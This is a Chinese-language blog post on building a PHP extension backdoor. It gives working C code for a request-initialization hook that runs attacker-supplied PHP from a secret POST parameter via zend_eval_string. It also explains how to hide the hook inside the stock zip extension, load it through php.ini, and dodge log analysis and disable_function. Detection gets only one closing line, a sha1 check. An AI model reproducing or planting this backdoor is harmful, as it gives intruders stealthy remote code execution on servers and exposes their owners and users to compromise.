PHP extension rootkit
雜想
也叫做PHP擴充套件後門,前幾天看P師傅實現出來了 ofollow,noindex">arbitrary-php-extension .
其實很早就有這個想法了,斷斷續續去看了幾個月的PHP核心,也有了實現基本功能的能力了,但是由於懶一直沒有下手...直到看到P師傅的倉庫才發現,糟糕撞思路了!趕忙抽了個週末晚上的空,花了幾個小時去踩了這個坑.
目前大部分此類後門的實現效果都是做成跟諸如菜刀,antSword相容的類指令碼webshell.個人感覺是大材小用了,並且通過查詢日誌等資訊,也容易被發現.我認為其實可以拓展一下,比如說在HTTP請求夾雜一些畸形請求,讓日誌無法匹配到header.這些還只是初步想法,等入門協議再嘗試.
記錄
PHP SAPI的生命週期
整個流程很簡單,在啟動了CLI(SAPI)後,會呼叫一次所有模組的模組初始化函式(MINIT),然後當有請求的時候,呼叫一次所有模組的請求初始化函式(RINIT),然後執行PHP指令碼,然後執行對應的銷燬函式.
所以我們只要在請求初始化函式(RINIT)接受引數並且執行,就可以達到類似webshell的效果了.
PHP拓展開發
烏雲之前也有PHP拓展後門相關的翻譯文章.其實國外很早就有大牛已經實現了.
這是一個最簡單的例子,是在PHP5上的拓展後門:
https://github.com/akamajoris/php-extension-backdoor/由於PHP7函式變動,我們得自己重新實現一個相容PHP7版本的RINIT函式.
PHP_RINIT_FUNCTION(ftp) { char* method = "_POST"; char* secret_string = "execute"; #if PHP_MAJOR_VERSION < 7 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) == SUCCESS) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) == SUCCESS) { code =Z_STRVAL_PP(val); } zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); } #else zval* arr,*code =NULL; if (arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)) { if (Z_TYPE_P(arr) == IS_ARRAY && (code = zend_hash_str_find(Z_ARRVAL_P(arr), secret_string, strlen(secret_string)))) { zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC); } } #endif return SUCCESS; }
而國內也曾有過相關文章:
https://www.freebuf.com/articles/web/141911.html文末,作者丟擲一些思路
如果系統禁用了eval等函式,還需要通過在後門中加入模組初始化函式(PHP_MINIT_FUNCTION),動態修改php.ini以達到繞過disable_function的目的,另外,為了更好地隱藏自身,還需要在偽裝性上下點功夫,比如利用同形異義字欺騙使用者的眼睛,比如使得模組名不在php -m中顯示等,當然這是後話,希望後續能有這樣的文章出現。
思考了一下這個問題,我這裡就不使用spoof這種思路了.我認為新開一個程序肯定沒有注入程序價效比高.所以不如直接往一個PHP預設的拓展庫中加點料.
在嘗試了很久後發現, PHP source 中的很多extension都沒有辦法直接一步到位的編譯成動態連結庫.最後手工fuzz了一下.
發現 ext/zip
這個拓展符合我的預期,可以直接編譯成動態連結庫十分方便.
直接修改 php_zip.c
中的程式碼:
這裡我添加了一個 PHP_RINIT_FUNCTION
,也就是請求初始化函式.將其新增到 zip_module_entry
中.
最後分別用PHP5.6以及PHP7.2編譯出動態連結庫.
修改PHP.ini將zip.so新增.
效果
PHP5.6
PHP7.2
結束
最後思考了一下,覺得這個後門優缺點都有.首先肯定是相對於傳統webshell,隱蔽性提高了不止一點半天,但是其原理最終還是進zend解析執行PHP程式碼,所以當面對未來可能流行的RASP技術的時候還是無力對抗,並且開發成本偏高,需要掌握語言的底層開發.不過目前為止的文章都是實現webshell形式,個人認為這其實是一種作繭自縛的行為.作為算得上是PHP rootkit的後門,應該身處更底層,而不是將維度放在應用層.
我們可以發散一下思維,亮神的文章中也提及了不少,這裡就延伸了:
https://blog.csdn.net/micropoor/article/details/8783499這種後門的防禦手段也很簡單,比較一下sha1就行了.